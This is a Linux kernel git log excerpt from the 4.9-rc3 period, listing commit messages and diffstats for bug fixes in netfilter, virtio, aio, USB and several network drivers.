c17c3cdff10b9f59ef1244a14604f10949f17117 Author: Liping Zhang Date: Sat Oct 29 22:03:05 2016 +0800 netfilter: nf_tables: destroy the set if fail to add transaction When the memory is exhausted, then we will fail to add the NFT_MSG_NEWSET transaction. In such case, we should destroy the set before we free it. Fixes: 958bee14d071 ("netfilter: nf_tables: use new transaction infrastructure to handle sets") Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_tables_api.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 4accb8a1ee7d82f02bcbacba0e50995c531918d4 Author: Felipe Balbi Date: Fri Oct 21 15:23:59 2016 +0300 usb: dwc3: st: add missing include dwc3-st uses pinctrl_pm_select_*_state() however it doesn't include the necessary header. Fix the build break caused by that, by simply including the missing header. Signed-off-by: Felipe Balbi drivers/usb/dwc3/dwc3-st.c | 1 + 1 file changed, 1 insertion(+) commit 9b9d7cdd0a20a8c26a022604580f93516ad69c36 Author: Vivek Gautam Date: Fri Oct 21 16:21:07 2016 +0530 usb: dwc3: Fix error handling for core init Fixing the sequence of events in dwc3_core_init() error exit path. dwc3_core_exit() call is also removed from the error path since, whatever it's doing is already done. Fixes: c499ff7 usb: dwc3: core: re-factor init and exit paths Cc: Felipe Balbi Cc: Greg KH Cc: Stable # 4.8+ Signed-off-by: Vivek Gautam Signed-off-by: Felipe Balbi drivers/usb/dwc3/core.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit b9a321b48af40e0606009df8aff0a8c65dfbbfd8 Author: Mark Lord Date: Sun Oct 30 19:28:27 2016 -0400 r8152: Fix broken RX checksums. The r8152 driver has been broken since (approx) 3.16.xx when support was added for hardware RX checksums on newer chip versions. Symptoms include random segfaults and silent data corruption over NFS. The hardware checksum logig does not work on the VER_02 dongles I have here when used with a slow embedded system CPU. Google reveals others reporting similar issues on Raspberry Pi. So, disable hardware RX checksum support for VER_02, and fix an obvious coding error for IPV6 checksums in the same function. Because this bug results in silent data corruption, it is a good candidate for back-porting to -stable >= 3.16.xx. Signed-off-by: Mark Lord Signed-off-by: David S. Miller drivers/net/usb/r8152.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 75bfa81bf0897ba87f1e1b9b576a07536029b86a Author: Michael S. Tsirkin Date: Mon Oct 31 00:38:21 2016 +0200 virtio_ring: mark vring_dma_dev inline This inline function is unused on configurations where dma_map/unmap are empty macros. Make the function inline to avoid gcc errors because of an unused static function. Signed-off-by: Michael S. Tsirkin drivers/virtio/virtio_ring.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 678ff27d25c62e3a25fa069914182a8a6391e121 Author: Michael S. Tsirkin Date: Sun Aug 14 20:57:14 2016 +0300 virtio/vhost: add Jason to list of maintainers Jason's been one of the mst active contributors to virtio and vhost, it will help to formalize this and list him as co-maintainer. Signed-off-by: Michael S. Tsirkin MAINTAINERS | 2 ++ 1 file changed, 2 insertions(+) commit 2ff98449ee883d6e7484f5937370df42d6789e07 Author: Markus Elfring Date: Tue Sep 13 13:43:50 2016 +0200 virtio_blk: Delete an unnecessary initialisation in init_vq() The local variable "err" will be set to an appropriate value by a following statement. Thus omit the explicit initialisation at the beginning. Signed-off-by: Markus Elfring Signed-off-by: Michael S. Tsirkin drivers/block/virtio_blk.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 668866b6e8dffa5583d8694f1d8ddd89a8bee745 Author: Markus Elfring Date: Tue Sep 13 11:32:22 2016 +0200 virtio_blk: Use kmalloc_array() in init_vq() Multiplications for the size determination of memory allocations indicated that array data structures should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Signed-off-by: Michael S. Tsirkin drivers/block/virtio_blk.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 3dae2c6152fbbc6224343551158b61aad585cedf Author: Juergen Gross Date: Tue Oct 11 11:02:14 2016 +0200 virtio: remove config.c Remove unused file config.c Signed-off-by: Juergen Gross Signed-off-by: Michael S. Tsirkin drivers/virtio/config.c | 12 ------------ 1 file changed, 12 deletions(-) commit 34563769e438d2881f62cf4d9badc4e589ac0ec0 Author: Matt Redfearn Date: Tue Oct 11 12:05:15 2016 +0100 virtio: console: Unlock vqs while freeing buffers Commit c6017e793b93 ("virtio: console: add locks around buffer removal in port unplug path") added locking around the freeing of buffers in the vq. However, when free_buf() is called with can_sleep = true and rproc is enabled, it calls dma_free_coherent() directly, requiring interrupts to be enabled. Currently a WARNING is triggered due to the spin locking around free_buf, with a call stack like this: WARNING: CPU: 3 PID: 121 at ./include/linux/dma-mapping.h:433 free_buf+0x1a8/0x288 Call Trace: [<8040c538>] show_stack+0x74/0xc0 [<80757240>] dump_stack+0xd0/0x110 [<80430d98>] __warn+0xfc/0x130 [<80430ee0>] warn_slowpath_null+0x2c/0x3c [<807e7c6c>] free_buf+0x1a8/0x288 [<807ea590>] remove_port_data+0x50/0xac [<807ea6a0>] unplug_port+0xb4/0x1bc [<807ea858>] virtcons_remove+0xb0/0xfc [<807b6734>] virtio_dev_remove+0x58/0xc0 [<807f918c>] __device_release_driver+0xac/0x134 [<807f924c>] device_release_driver+0x38/0x50 [<807f7edc>] bus_remove_device+0xfc/0x130 [<807f4b74>] device_del+0x17c/0x21c [<807f4c38>] device_unregister+0x24/0x38 [<807b6b50>] unregister_virtio_device+0x28/0x44 Fix this by restructuring the loops to allow the locks to only be taken where it is necessary to protect the vqs, and release it while the buffer is being freed. Fixes: c6017e793b93 ("virtio: console: add locks around buffer removal in port unplug path") Cc: stable@vger.kernel.org Signed-off-by: Matt Redfearn Signed-off-by: Michael S. Tsirkin drivers/char/virtio_console.c | 22 ++++++++++++++++------ 1 file changed, 16 insertions(+), 6 deletions(-) commit 948a8ac2964f39161ebf832dea0aa1ced90101bb Author: Paolo Bonzini Date: Thu Oct 6 11:39:12 2016 +0200 ringtest: poll for new buffers once before updating event index Updating the event index has a memory barrier and causes more work on the other side to actually signal the event. It is unnecessary if a new buffer has already appeared on the ring, so poll once before doing the update. The effect of this on the 0.9 ring implementation is pretty much invisible, but on the new-style ring it provides a consistent 3% performance improvement. Signed-off-by: Paolo Bonzini Signed-off-by: Michael S. Tsirkin tools/virtio/ringtest/main.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d3c3589b8b3cd4fabf4cd137facb42a7fb36bd7f Author: Paolo Bonzini Date: Thu Oct 6 11:39:11 2016 +0200 ringtest: commonize implementation of poll_avail/poll_used Provide new primitives used_empty/avail_empty and build poll_avail/poll_used on top of it. Signed-off-by: Paolo Bonzini Signed-off-by: Michael S. Tsirkin tools/virtio/ringtest/main.c | 12 +++++++ tools/virtio/ringtest/main.h | 4 +-- tools/virtio/ringtest/noring.c | 6 ++-- tools/virtio/ringtest/ptr_ring.c | 22 +++--------- tools/virtio/ringtest/ring.c | 18 ++++------ tools/virtio/ringtest/virtio_ring_0_9.c | 64 ++++++++------------------------- 6 files changed, 43 insertions(+), 83 deletions(-) commit 44d65ea1615099ae252407f2554338d450cfdb1c Author: Paolo Bonzini Date: Thu Oct 6 11:39:10 2016 +0200 ringtest: use link-time optimization By using -flto and -fwhole-program, all functions from the ring implementation can be treated as static and possibly inlined. Force this to happen through the GCC flatten attribute. Signed-off-by: Paolo Bonzini Signed-off-by: Michael S. Tsirkin tools/virtio/ringtest/Makefile | 4 ++-- tools/virtio/ringtest/main.c | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) commit 8424af5336b34043a705d66bdf2c1428048ef085 Author: Konstantin Neumoin Date: Thu Sep 29 13:17:12 2016 +0300 virtio: update balloon size in balloon "probe" The following commit 'fad7b7b27b6a (virtio_balloon: Use a workqueue instead of "vballoon" kthread)' has added a regression. Original code with kthread starts the thread inside probe and checks the necessity to update balloon inside the thread immediately. Nowadays the code behaves differently. Work is queued only on the first command from the host after the negotiation. Thus there is a window especially at the guest startup or the module reloading when the balloon size is not updated until the notification from the host. This patch adds balloon size check at the end of the probe to match original behaviour. Signed-off-by: Konstantin Neumoin Signed-off-by: Denis V. Lunev Signed-off-by: Michael S. Tsirkin drivers/virtio/virtio_balloon.c | 2 ++ 1 file changed, 2 insertions(+) commit 0ea1e4a6d9b62cf29e210d2b4ba9fd43917522e3 Author: Ladi Prosek Date: Wed Aug 31 14:00:04 2016 +0200 virtio_ring: Make interrupt suppression spec compliant According to the spec, if the VIRTIO_RING_F_EVENT_IDX feature bit is negotiated the driver MUST set flags to 0. Not dirtying the available ring in virtqueue_disable_cb also has a minor positive performance impact, improving L1 dcache load missed by ~0.5% in vring_bench. Writes to the used event field (vring_used_event) are still unconditional. Cc: Michael S. Tsirkin Cc: # f277ec4 virtio_ring: shadow available Cc: Signed-off-by: Ladi Prosek Signed-off-by: Michael S. Tsirkin drivers/virtio/virtio_ring.c | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) commit a0be1db4304f51c99af6b6e515549794182a94df Author: Will Deacon Date: Wed Sep 14 17:33:26 2016 +0100 virtio_pci: Limit DMA mask to 44 bits for legacy virtio devices Legacy virtio defines the virtqueue base using a 32-bit PFN field, with a read-only register indicating a fixed page size of 4k. This can cause problems for DMA allocators that allocate top down from the DMA mask, which is set to 64 bits. In this case, the addresses are silently truncated to 44-bit, leading to IOMMU faults, failure to read from the queue or data corruption. This patch restricts the coherent DMA mask for legacy PCI virtio devices to 44 bits, which matches the specification. Cc: stable@vger.kernel.org Cc: Andy Lutomirski Cc: Michael S. Tsirkin Cc: Benjamin Serebrin Signed-off-by: Will Deacon Signed-off-by: Michael S. Tsirkin drivers/virtio/virtio_pci_legacy.c | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) commit 70fe2f48152e60664809e2fed76bbb50c9fa2aa3 Author: Jan Kara Date: Sun Oct 30 11:42:04 2016 -0500 aio: fix freeze protection of aio writes Currently we dropped freeze protection of aio writes just after IO was submitted. Thus aio write could be in flight while the filesystem was frozen and that could result in unexpected situation like aio completion wanting to convert extent type on frozen filesystem. Testcase from Dmitry triggering this is like: for ((i=0;i<60;i++));do fsfreeze -f /mnt ;sleep 1;fsfreeze -u /mnt;done & fio --bs=4k --ioengine=libaio --iodepth=128 --size=1g --direct=1 \ --runtime=60 --filename=/mnt/file --name=rand-write --rw=randwrite Fix the problem by dropping freeze protection only once IO is completed in aio_complete(). Reported-by: Dmitry Monakhov Signed-off-by: Jan Kara [hch: forward ported on top of various VFS and aio changes] Signed-off-by: Christoph Hellwig Signed-off-by: Al Viro fs/aio.c | 19 ++++++++++++++++++- include/linux/fs.h | 1 + 2 files changed, 19 insertions(+), 1 deletion(-) commit 89319d31d2d097da8e27fb0e0ae9d532f4f16827 Author: Christoph Hellwig Date: Sun Oct 30 11:42:03 2016 -0500 fs: remove aio_run_iocb Pass the ABI iocb structure to aio_setup_rw and let it handle the non-vectored I/O case as well. With that and a new helper for the AIO return value handling we can now define new aio_read and aio_write helpers that implement reads and writes in a self-contained way without duplicating too much code. Signed-off-by: Christoph Hellwig Signed-off-by: Al Viro fs/aio.c | 182 +++++++++++++++++++++++++++++++++------------------------------ 1 file changed, 94 insertions(+), 88 deletions(-) commit 723c038475b78edc9327eb952f95f9881cc9d79d Author: Christoph Hellwig Date: Sun Oct 30 11:42:02 2016 -0500 fs: remove the never implemented aio_fsync file operation Signed-off-by: Christoph Hellwig Signed-off-by: Al Viro Documentation/filesystems/Locking | 1 - Documentation/filesystems/vfs.txt | 1 - fs/aio.c | 14 -------------- fs/ntfs/dir.c | 2 -- include/linux/fs.h | 1 - 5 files changed, 19 deletions(-) commit 0b944d3a4bba6b25f43aed530f4fa85c04d162a6 Author: Christoph Hellwig Date: Sun Oct 30 11:42:01 2016 -0500 aio: hold an extra file reference over AIO read/write operations Otherwise we might dereference an already freed file and/or inode when aio_complete is called before we return from the read_iter or write_iter method. Signed-off-by: Christoph Hellwig Signed-off-by: Al Viro fs/aio.c | 2 ++ 1 file changed, 2 insertions(+) commit d304286abbbe7ed6228a553a56ba054e900907eb Author: Lorenzo Bianconi Date: Tue Oct 25 23:07:38 2016 +0200 iio: st_sensors: fix scale configuration for h3lis331dl fix scale configuration/parsing for h3lis331dl accel driver when sensitivity is higher than 1(m/s^2)/digit Signed-off-by: Lorenzo Bianconi Fixes: 1e52fefc9b0c ("iio: accel: Add support for the h3lis331dl accelerometer") Cc: Signed-off-by: Jonathan Cameron drivers/iio/accel/st_accel_core.c | 12 ++++++++---- drivers/iio/common/st_sensors/st_sensors_core.c | 8 +++++--- 2 files changed, 13 insertions(+), 7 deletions(-) commit 1c387188c60f53b338c20eee32db055dfe022a9b Author: Ashok Raj Date: Fri Oct 21 15:32:05 2016 -0700 iommu/vt-d: Fix IOMMU lookup for SR-IOV Virtual Functions The VT-d specification (§8.3.3) says: ‘Virtual Functions’ of a ‘Physical Function’ are under the scope of the same remapping unit as the ‘Physical Function’. The BIOS is not required to list all the possible VFs in the scope tables, and arguably *shouldn't* make any attempt to do so, since there could be a huge number of them. This has been broken basically for ever — the VF is never going to match against a specific unit's scope, so it ends up being assigned to the INCLUDE_ALL IOMMU. Which was always actually correct by coincidence, but now we're looking at Root-Complex integrated devices with SR-IOV support it's going to start being wrong. Fix it to simply use pci_physfn() before doing the lookup for PCI devices. Cc: stable@vger.kernel.org Signed-off-by: Sainath Grandhi Signed-off-by: Ashok Raj Signed-off-by: David Woodhouse drivers/iommu/dmar.c | 4 +++- drivers/iommu/intel-iommu.c | 13 +++++++++++++ 2 files changed, 16 insertions(+), 1 deletion(-) commit 7e251bb21ae08ca2e4fb28cc0981fac2685a8efa Author: Boris Brezillon Date: Fri Oct 28 17:12:28 2016 +0200 m68k: Fix ndelay() macro The current ndelay() macro definition has an extra semi-colon at the end of the line thus leading to a compilation error when ndelay is used in a conditional block without curly braces like this one: if (cond) ndelay(t); else ... which, after the preprocessor pass gives: if (cond) m68k_ndelay(t);; else ... thus leading to the following gcc error: error: 'else' without a previous 'if' Remove this extra semi-colon. Signed-off-by: Boris Brezillon Fixes: c8ee038bd1488 ("m68k: Implement ndelay() based on the existing udelay() logic") Signed-off-by: Geert Uytterhoeven arch/m68k/include/asm/delay.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 955fe2aaed3ab64914f1a21209d8b0a5b9e920ae Author: Geert Uytterhoeven Date: Mon Oct 17 09:19:12 2016 +0200 m68k/defconfig: Update defconfigs for v4.9-rc1 Signed-off-by: Geert Uytterhoeven arch/m68k/configs/amiga_defconfig | 8 ++++++-- arch/m68k/configs/apollo_defconfig | 8 ++++++-- arch/m68k/configs/atari_defconfig | 8 ++++++-- arch/m68k/configs/bvme6000_defconfig | 8 ++++++-- arch/m68k/configs/hp300_defconfig | 8 ++++++-- arch/m68k/configs/mac_defconfig | 8 ++++++-- arch/m68k/configs/multi_defconfig | 8 ++++++-- arch/m68k/configs/mvme147_defconfig | 8 ++++++-- arch/m68k/configs/mvme16x_defconfig | 8 ++++++-- arch/m68k/configs/q40_defconfig | 8 ++++++-- arch/m68k/configs/sun3_defconfig | 8 ++++++-- arch/m68k/configs/sun3x_defconfig | 8 ++++++-- 12 files changed, 72 insertions(+), 24 deletions(-) commit 2a26d99b251b8625d27aed14e97fc10707a3a81f Merge: a909d3e fceb9c3 Author: Linus Torvalds Date: Sat Oct 29 20:33:20 2016 -0700 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net Pull networking fixes from David Miller: "Lots of fixes, mostly drivers as is usually the case. 1) Don't treat zero DMA address as invalid in vmxnet3, from Alexey Khoroshilov. 2) Fix element timeouts in netfilter's nft_dynset, from Anders K. Pedersen. 3) Don't put aead_req crypto struct on the stack in mac80211, from Ard Biesheuvel. 4) Several uninitialized variable warning fixes from Arnd Bergmann. 5) Fix memory leak in cxgb4, from Colin Ian King. 6) Fix bpf handling of VLAN header push/pop, from Daniel Borkmann. 7) Several VRF semantic fixes from David Ahern. 8) Set skb->protocol properly in ip6_tnl_xmit(), from Eli Cooper. 9) Socket needs to be locked in udp_disconnect(), from Eric Dumazet. 10) Div-by-zero on 32-bit fix in mlx4 driver, from Eugenia Emantayev. 11) Fix stale link state during failover in NCSCI driver, from Gavin Shan. 12) Fix netdev lower adjacency list traversal, from Ido Schimmel. 13) Propvide proper handle when emitting notifications of filter deletes, from Jamal Hadi Salim. 14) Memory leaks and big-endian issues in rtl8xxxu, from Jes Sorensen. 15) Fix DESYNC_FACTOR handling in ipv6, from Jiri Bohac. 16) Several routing offload fixes in mlxsw driver, from Jiri Pirko. 17) Fix broadcast sync problem in TIPC, from Jon Paul Maloy. 18) Validate chunk len before using it in SCTP, from Marcelo Ricardo Leitner. 19) Revert a netns locking change that causes regressions, from Paul Moore. 20) Add recursion limit to GRO handling, from Sabrina Dubroca. 21) GFP_KERNEL in irq context fix in ibmvnic, from Thomas Falcon. 22) Avoid accessing stale vxlan/geneve socket in data path, from Pravin Shelar" * git://git.kernel.org/pub/scm/linux/kernel/git/davem/net: (189 commits) geneve: avoid using stale geneve socket. vxlan: avoid using stale vxlan socket. qede: Fix out-of-bound fastpath memory access net: phy: dp83848: add dp83822 PHY support enic: fix rq disable tipc: fix broadcast link synchronization problem ibmvnic: Fix missing brackets in init_sub_crq_irqs ibmvnic: Fix releasing of sub-CRQ IRQs in interrupt context Revert "ibmvnic: Fix releasing of sub-CRQ IRQs in interrupt context" arch/powerpc: Update parameters for csum_tcpudp_magic & csum_tcpudp_nofold net/mlx4_en: Save slave ethtool stats command net/mlx4_en: Fix potential deadlock in port statistics flow net/mlx4: Fix firmware command timeout during interrupt test net/mlx4_core: Do not access comm channel if it has not yet been initialized net/mlx4_en: Fix panic during reboot net/mlx4_en: Process all completions in RX rings after port goes up net/mlx4_en: Resolve dividing by zero in 32-bit system net/mlx4_core: Change the default value of enable_qos net/mlx4_core: Avoid setting ports to auto when only one port type is supported net/mlx4_core: Fix the resource-type enum in res tracker to conform to FW spec ... commit fceb9c3e38252992bbf1a3028cc2f7b871211533 Author: pravin shelar Date: Fri Oct 28 09:59:16 2016 -0700 geneve: avoid using stale geneve socket. This patch is similar to earlier vxlan patch. Geneve device close operation frees geneve socket. This operation can race with geneve-xmit function which dereferences geneve socket. Following patch uses RCU mechanism to avoid this situation. Signed-off-by: Pravin B Shelar Acked-by: John W. Linville Signed-off-by: David S. Miller drivers/net/geneve.c | 45 ++++++++++++++++++++++++++++++++++----------- 1 file changed, 34 insertions(+), 11 deletions(-) commit c6fcc4fc5f8b592600c7409e769ab68da0fb1eca Author: pravin shelar Date: Fri Oct 28 09:59:15 2016 -0700 vxlan: avoid using stale vxlan socket. When vxlan device is closed vxlan socket is freed. This operation can race with vxlan-xmit function which dereferences vxlan socket. Following patch uses RCU mechanism to avoid this situation. Signed-off-by: Pravin B Shelar Signed-off-by: David S. Miller drivers/net/vxlan.c | 80 +++++++++++++++++++++++++++++++++-------------------- include/net/vxlan.h | 4 +-- 2 files changed, 52 insertions(+), 32 deletions(-) commit 087892d29b75c025086d99b29d385a3dac0169fc Author: Mintz, Yuval Date: Sat Oct 29 17:04:35 2016 +0300 qede: Fix out-of-bound fastpath memory access Driver allocates a shadow array for transmitted SKBs with X entries; That means valid indices are {0,...,X - 1}. [X == 8191] Problem is the driver also uses X as a mask for a producer/consumer in order to choose the right entry in the array which allows access to entry X which is out of bounds. To fix this, simply allocate X + 1 entries in the shadow array. Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qede/qede_main.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 3034783472f5353f71af44ed52ad9ee65f9f6d17 Author: Roger Quadros Date: Fri Oct 28 12:40:20 2016 +0300 net: phy: dp83848: add dp83822 PHY support This PHY has a compatible register set with DP83848x so add support for it. Acked-by: Andrew F. Davis Signed-off-by: Roger Quadros Signed-off-by: David S. Miller drivers/net/phy/dp83848.c | 3 +++ 1 file changed, 3 insertions(+) commit 9fe1c98ac90023842ae7cd921badfa1029e45bd1 Author: Govindarajulu Varadarajan Date: Thu Oct 27 16:01:03 2016 -0700 enic: fix rq disable When MTU is changed from 9000 to 1500 while there is burst of inbound 9000 bytes packets, adaptor sometimes delivers 9000 bytes packets to 1500 bytes buffers. This causes memory corruption and sometimes crash. This is because of a race condition in adaptor between "RQ disable" clearing descriptor mini-cache and mini-cache valid bit being set by completion of descriptor fetch. This can result in stale RQ desc being cached and used when packets arrive. In this case, the stale descriptor have old MTU value. Solution is to write RQ->disable twice. The first write will stop any further desc fetches, allowing the second disable to clear the mini-cache valid bit without danger of a race. Also, the check for rq->running becoming 0 after writing rq->enable to 0 is not done properly. When incoming packets are flooding the interface, rq->running will pulse high for each dropped packet. Since the driver was waiting for 10us between each poll, it is possible to see rq->running = 1 1000 times in a row, even though it is not actually stuck running. This results in false failure of vnic_rq_disable(). Fix is to try more than 1000 time without delay between polls to ensure we do not miss when running goes low. In old adaptors rq->enable needs to be re-written to 0 when posted_index is reset in vnic_rq_clean() in order to keep rq->prefetch_index in sync. Signed-off-by: Govindarajulu Varadarajan <_govind@gmx.com> Signed-off-by: David S. Miller drivers/net/ethernet/cisco/enic/vnic_rq.c | 32 ++++++++++++++++++++++--------- 1 file changed, 23 insertions(+), 9 deletions(-) commit 06bd2b1ed04ca9fdbc767859885944a1e8b86b40 Author: Jon Paul Maloy Date: Thu Oct 27 18:51:55 2016 -0400 tipc: fix broadcast link synchronization problem In commit 2d18ac4ba745 ("tipc: extend broadcast link initialization criteria") we tried to fix a problem with the initial synchronization of broadcast link acknowledge values. Unfortunately that solution is not sufficient to solve the issue. We have seen it happen that LINK_PROTOCOL/STATE packets with a valid non-zero unicast acknowledge number may bypass BCAST_PROTOCOL initialization, NAME_DISTRIBUTOR and other STATE packets with invalid broadcast acknowledge numbers, leading to premature opening of the broadcast link. When the bypassed packets finally arrive, they are inadvertently accepted, and the already correctly initialized acknowledge number in the broadcast receive link is overwritten by the invalid (zero) value of the said packets. After this the broadcast link goes stale. We now fix this by marking the packets where we know the acknowledge value is or may be invalid, and then ignoring the acks from those. To this purpose, we claim an unused bit in the header to indicate that the value is invalid. We set the bit to 1 in the initial BCAST_PROTOCOL synchronization packet and all initial ("bulk") NAME_DISTRIBUTOR packets, plus those LINK_PROTOCOL packets sent out before the broadcast links are fully synchronized. This minor protocol update is fully backwards compatible. Reported-by: John Thompson Tested-by: John Thompson Signed-off-by: Jon Maloy Signed-off-by: David S. Miller net/tipc/bcast.c | 14 ++++++++++---- net/tipc/bcast.h | 3 ++- net/tipc/link.c | 2 ++ net/tipc/msg.h | 17 +++++++++++++++++ net/tipc/name_distr.c | 1 + net/tipc/node.c | 2 +- 6 files changed, 33 insertions(+), 6 deletions(-) commit 8bf371e6adff29758cc3c57c17df4486513081f8 Author: Thomas Falcon Date: Thu Oct 27 12:28:52 2016 -0500 ibmvnic: Fix missing brackets in init_sub_crq_irqs Signed-off-by: Thomas Falcon Signed-off-by: David S. Miller drivers/net/ethernet/ibm/ibmvnic.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 9888d7b02c7793cbbcbdd05dd9e14cc0e78d1db7 Author: Thomas Falcon Date: Thu Oct 27 12:28:51 2016 -0500 ibmvnic: Fix releasing of sub-CRQ IRQs in interrupt context Schedule these XPORT event tasks in the shared workqueue so that IRQs are not freed in an interrupt context when sub-CRQs are released. Signed-off-by: Thomas Falcon Signed-off-by: David S. Miller drivers/net/ethernet/ibm/ibmvnic.c | 35 ++++++++++++++++++++++++----------- drivers/net/ethernet/ibm/ibmvnic.h | 1 + 2 files changed, 25 insertions(+), 11 deletions(-) commit dbc34e73c2bee4ff66c3a6b0ea5d65c25a6b6994 Author: David S. Miller Date: Sat Oct 29 17:18:17 2016 -0400 Revert "ibmvnic: Fix releasing of sub-CRQ IRQs in interrupt context" This reverts commit 8d7533e5aaad1c94386a8101a36b0617987966b7. It introduced kbuild failures, new version coming. Signed-off-by: David S. Miller drivers/net/ethernet/ibm/ibmvnic.c | 35 +++++++++++------------------------ drivers/net/ethernet/ibm/ibmvnic.h | 1 - 2 files changed, 11 insertions(+), 25 deletions(-) commit 4c96f5b19c770a72fc7b51945ef4a48c48600aaf Merge: f9d4286 599b076 Author: David S. Miller Date: Sat Oct 29 17:14:19 2016 -0400 Merge branch '40GbE' of git://git.kernel.org/pub/scm/linux/kernel/git/jkirsher/net-queue Jeff Kirsher says: ==================== Intel Wired LAN Driver Updates 2016-10-27 This series contains fixes to ixgbe and i40e. Emil fixes a NULL pointer dereference when a macvlan interface is brought up while the PF is still down. David root caused the original panic that was fixed by commit id (a036244c068612 "i40e: Fix kernel panic on enable/disable LLDP") and the fix was not quite correct, so removed the get_default_tc() and replaced it with a #define since there is only one TC supported as a default. Guilherme Piccoli fixes an issue where if we modprobe the driver module without enough MSI-X interrupts, then unload the module and reload it again, the kernel would crash. So if we fail to allocate enough MSI-X interrupts, we should disable them since they were previously enabled. Huaibin Wang found that the order of the arguments for ndo_dflt_bridge_getlink() were in the correct order, so fix the order. ==================== Signed-off-by: David S. Miller commit f9d4286b9516b02e795214412d36885f572b57ad Author: Ivan Vecera Date: Thu Oct 27 16:30:06 2016 +0200 arch/powerpc: Update parameters for csum_tcpudp_magic & csum_tcpudp_nofold Commit 01cfbad "ipv4: Update parameters for csum_tcpudp_magic to their original types" changed parameters for csum_tcpudp_magic and csum_tcpudp_nofold for many platforms but not for PowerPC. Fixes: 01cfbad "ipv4: Update parameters for csum_tcpudp_magic to their original types" Cc: Alexander Duyck Signed-off-by: Ivan Vecera Acked-by: Alexander Duyck Signed-off-by: David S. Miller arch/powerpc/include/asm/checksum.h | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) commit a909d3e636995ba7c349e2ca5dbb528154d4ac30 Author: Linus Torvalds Date: Sat Oct 29 13:52:02 2016 -0700 Linux 4.9-rc3 Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 42fd2b5006c317ffe650e69f69b50bde3d6ff6c9 Merge: efa5637 1e90a13 Author: Linus Torvalds Date: Sat Oct 29 13:42:44 2016 -0700 Merge branch 'x86-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull x86 bugfix from Thomas Gleixner: "A single bugfix for the recent changes related to registering the boot cpu when this has not happened before prefill_possible_map(). The main problem with this change got fixed already, but we missed the case where the local APIC is not yet mapped, when prefill_possible_map() is invoked, so the registration of the boot cpu which has the APIC bit set in CPUID will explode. I should have seen that issue earlier, but all I can do now is feeling embarassed" * 'x86-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: x86/smpboot: Init apic mapping before usage commit e59cc767b6517e78f2d64e5b438e8ac2692d0a1f Merge: ff57087 eb4b678 Author: David S. Miller Date: Sat Oct 29 16:23:49 2016 -0400 Merge branch 'mlx4-fixes' Tariq Toukan says: ==================== mlx4 misc fixes for 4.9 This patchset contains several bug fixes from the team to the mlx4 Eth and Core drivers. Series generated against net commit: ecc515d7238f 'sctp: fix the panic caused by route update' ==================== Signed-off-by: David S. Miller commit eb4b678825992aa434d32b2f615d2090281e0f88 Author: Tariq Toukan Date: Thu Oct 27 16:27:22 2016 +0300 net/mlx4_en: Save slave ethtool stats command Following the previous patch, as an optimization, the slave will not even bother sending the DUMP_ETH_STATS command over the comm channel. Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/en_netdev.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit d2582a03939ed0a80ffcd3ea5345505bc8067c54 Author: Jack Morgenstein Date: Thu Oct 27 16:27:21 2016 +0300 net/mlx4_en: Fix potential deadlock in port statistics flow mlx4_en_DUMP_ETH_STATS took the *counter mutex* and then called the FW command, with WRAPPED attribute. As a result, the fw command is wrapped on the Hypervisor when it calls mlx4_en_DUMP_ETH_STATS. The FW command wrapper flow on the hypervisor takes the *slave_cmd_mutex* during processing. At the same time, a VF could be in the process of coming up, and could call mlx4_QUERY_FUNC_CAP. On the hypervisor, the command flow takes the *slave_cmd_mutex*, then executes mlx4_QUERY_FUNC_CAP_wrapper. mlx4_QUERY_FUNC_CAP wrapper calls mlx4_get_default_counter_index(), which takes the *counter mutex*. DEADLOCK. The fix is that the DUMP_ETH_STATS fw command should be called with the NATIVE attribute, so that on the hypervisor, this command does not enter the wrapper flow. Since the Hypervisor no longer goes through the wrapper code, we also simply return 0 in mlx4_DUMP_ETH_STATS_wrapper (i.e.the function succeeds, but the returned data will be all zeroes). No need to test if it is the Hypervisor going through the wrapper. Fixes: f9baff509f8a ("mlx4_core: Add "native" argument to mlx4_cmd ...") Signed-off-by: Jack Morgenstein Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/en_port.c | 4 ++-- drivers/net/ethernet/mellanox/mlx4/mlx4.h | 2 -- drivers/net/ethernet/mellanox/mlx4/port.c | 13 +------------ 3 files changed, 3 insertions(+), 16 deletions(-) commit 6f2e0d2c3bf0f8d322ab7516c57340c7189cca02 Author: Eugenia Emantayev Date: Thu Oct 27 16:27:20 2016 +0300 net/mlx4: Fix firmware command timeout during interrupt test Currently interrupt test that is part of ethtool selftest runs the check over all interrupt vectors of the device. In mlx4_en package part of interrupt vectors are uninitialized since mlx4_ib doesn't exist. This causes NOP FW command to time out. Change logic to test current port interrupt vectors only. Signed-off-by: Eugenia Emantayev Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/en_selftest.c | 26 +++++++++- drivers/net/ethernet/mellanox/mlx4/eq.c | 62 +++++++++++------------- include/linux/mlx4/device.h | 3 +- 3 files changed, 55 insertions(+), 36 